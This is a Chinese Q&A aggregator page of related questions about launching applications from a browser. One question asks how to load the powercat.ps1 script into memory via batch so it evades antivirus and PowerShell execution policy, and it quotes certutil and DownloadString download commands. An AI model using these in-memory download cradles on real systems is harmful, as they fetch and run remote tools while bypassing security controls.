相关疑难解决方法(0)

如何从浏览器启动应用程序?

是否可以从浏览器启动应用程序?我不是在谈论从浏览器打开文件(比如用Adobe Reader打开PDF),而是打开安装在用户机器上的应用程序的新(空白)实例.

假设情况:用户浏览列出可通过RDP管理的计算机的网站.他点击了一个192.168.1.10的链接,该链接打开了已经填写了该IP地址的Microsoft RDP客户端(mstsc.exe).

我正在严格谈论Windows宇宙.

这个东西在ActiveX和IE之外是否可行?

在使用ActiveX的IE中尝试这个是明智的吗?

browser windows internet-explorer activex

59
推荐指数
4
解决办法
14万
查看次数

通过纯批处理将远程文件下载到内存中

在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Run Code Online (Sandbox Code Playgroud)

我想将文件下载到内存中(不接触磁盘),原因如下:

  1. 它绕过AV检测
  2. 它绕过了 Powershell 执行策略,因此不需要powershell -nop -ep bypass导致 AV 检测的
  3. 不会抛出不必要的语法错误
  4. 您可以直接使用 .ps1 脚本中定义的函数

显然我可以使用certutil

certutil -urlcache -split -f <url>
Run Code Online (Sandbox Code Playgroud)

但我不希望该文件命中磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)可以轻松完成相同的事情:

(New-Object Net.WebClient).DownloadString($url)
Run Code Online (Sandbox Code Playgroud)

或者

(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Run Code Online (Sandbox Code Playgroud)

我知道批处理不是执行此操作的最佳语言,但有可能吗?(我想要纯批次

powershell cmd batch-file

8
推荐指数
1
解决办法
2546
查看次数

从客户端运行EXE

我需要从客户端运行exe文件.Exe文件存在于我的C:\ Directory中.我需要从我的WEB站点运行这个exe文件.

我该怎么办呢?

client exe

4
推荐指数
1
解决办法
1万
查看次数

如何从浏览器运行桌面应用程序?

我需要从浏览器启动程序(当你看到确认启动应用程序的对话框时,就像战场一样)。我应该做一个扩展还是有原生的方式用javascript来做?

javascript browser

2
推荐指数
1
解决办法
2万
查看次数